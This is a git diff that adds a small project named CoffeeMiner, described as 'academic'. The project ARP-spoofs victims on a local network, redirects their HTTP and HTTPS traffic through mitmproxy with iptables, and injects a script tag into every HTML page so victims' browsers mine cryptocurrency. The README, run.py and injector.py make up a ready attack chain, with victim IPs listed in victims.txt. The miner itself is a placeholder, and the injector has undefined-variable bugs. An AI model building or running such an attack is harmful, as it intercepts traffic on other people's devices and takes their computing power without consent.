diff --git a/README.md b/README.md new file mode 100644 index 0000000..3d685bc --- /dev/null +++ b/README.md @@ -0,0 +1,70 @@ +# CoffeeMiner + +Collaborative Coffee Mining Pool. + +**Warning: this project is only with academic purposes.** + + +## Concept +- Performs a MITM attack +- Injects a js script in all the HTML pages requested by the victims +- The js script injected contains a cryptocurrency miner +- All the devices victims connected to the Lan network, will be mining for the CoffeeMiner + + +## Use +- install.sh +``` +bash install.sh +``` +- edit victims.txt with one IP per line +- run.py +``` +python run.py ipgateway +``` + + + + +--- + + + +#### Manual use +- needs to have installed **mitmproxy** + https://mitmproxy.org/ + - installation: + ``` + sudo apt-get install python3-dev python3-pip libffi-dev libssl-dev + + pip3 install --user mitmproxy + ``` + +- needs python 3.* + + +- configure IPTABLES + +``` +echo 1 > /proc/sys/net/ipv4/ip_forward + +iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE + +iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-port 8080 +iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 443 -j REDIRECT --to-port 8080 +``` + +- arpspoof to the victims +``` +arpspoof -i eth0 -t +arpspoof -i eth0 -t +``` +- execute the httpServer.py that will serve the script.js that contains the minner: +``` +python httpServer.py +``` + +- execute the mitmproxy with the injector.py script: +``` +#~/.local/bin/mitmdump -s "injector.py http://127.0.0.1:8000/script.js" +``` diff --git a/httpServer.py b/httpServer.py new file mode 100644 index 0000000..c1333e5 --- /dev/null +++ b/httpServer.py @@ -0,0 +1,14 @@ +#!/usr/bin/env python +import http.server +import socketserver +import os + +PORT = 8000 + +web_dir = os.path.join(os.path.dirname(__file__), 'miner_script') +os.chdir(web_dir) + +Handler = http.server.SimpleHTTPRequestHandler +httpd = socketserver.TCPServer(("", PORT), Handler) +print("serving at port", PORT) +httpd.serve_forever() diff --git a/injector.py b/injector.py new file mode 100644 index 0000000..6f386b5 --- /dev/null +++ b/injector.py @@ -0,0 +1,26 @@ +# Usage: mitmdump -s "js_injector.py src" +# (this script works best with --anticache) +from bs4 import BeautifulSoup +from mitmproxy import ctx, http + + +class Injector: + def load(self, loader): + loader.add_option( + "scr_url", str, "", "script_url to inject" + ) + + def response(self, flow: http.HTTPFlow) -> None: + if ctx.options.scr_url: + html = BeautifulSoup(flow.response.content, "html.parser") + if html.body: + script = html.new_tag( + "script", + src=context.src_url, + type='application/javascript') + html.body.insert(0, script) + flow.response.content = str(html).encode("utf8") + context.log("Script injected.") + + +addons = [Injector()] diff --git a/install.sh b/install.sh new file mode 100644 index 0000000..2ca1e9e --- /dev/null +++ b/install.sh @@ -0,0 +1,11 @@ +#TODO put --yes to all installation commands + +# install arpspoof (dsniff) +sudo apt-get install dsniff + +# install mitmproxy +sudo apt-get install python3-dev python3-pip libffi-dev libssl-dev +pip3 install --user mitmproxy + +# install BeautifulSoup +pip3 install beautifulsoup4 diff --git a/miner_script/script.js b/miner_script/script.js new file mode 100644 index 0000000..0c74210 --- /dev/null +++ b/miner_script/script.js @@ -0,0 +1 @@ +alert("this will be the minner"); diff --git a/run.py b/run.py new file mode 100644 index 0000000..1b1bdbc --- /dev/null +++ b/run.py @@ -0,0 +1,34 @@ +import os +import sys + +#get gateway_ip (router) +gateway = sys.argv[1] +print("gateway: " + gateway) +# get victims_ip +victims = [line.rstrip('\n') for line in open("victims.txt")] +print("victims:") +print(victims) + +# configure routing (IPTABLES) +os.system("echo 1 > /proc/sys/net/ipv4/ip_forward") +os.system("iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE") +os.system("iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080") +os.system("iptables -t nat -A PREROUTING -p tcp --destination-port 443 -j REDIRECT --to-port 8080") + + +# run the arpspoof for each victim, each one in a new console +for victim in victims: + os.system("xterm -e arpspoof -i eth0 -t " + victim + " " + gateway + " &") + os.system("xterm -e arpspoof -i eth0 -t " + gateway + " " + victim + " &") + +# start the http server for serving the script.js, in a new console +os.system("xterm -hold -e 'python httpServer.py' &") + +# start the mitmproxy +os.system("~/.local/bin/mitmdump -s 'injector.py http://127.0.0.1:8000/script.js'") + + +''' +# run sslstrip +os.system("xterm -e sslstrip -l 8080 &") +''' diff --git a/victims.txt b/victims.txt new file mode 100644 index 0000000..826ffb0 --- /dev/null +++ b/victims.txt @@ -0,0 +1,2 @@ +192.168.1.30 +192.168.1.31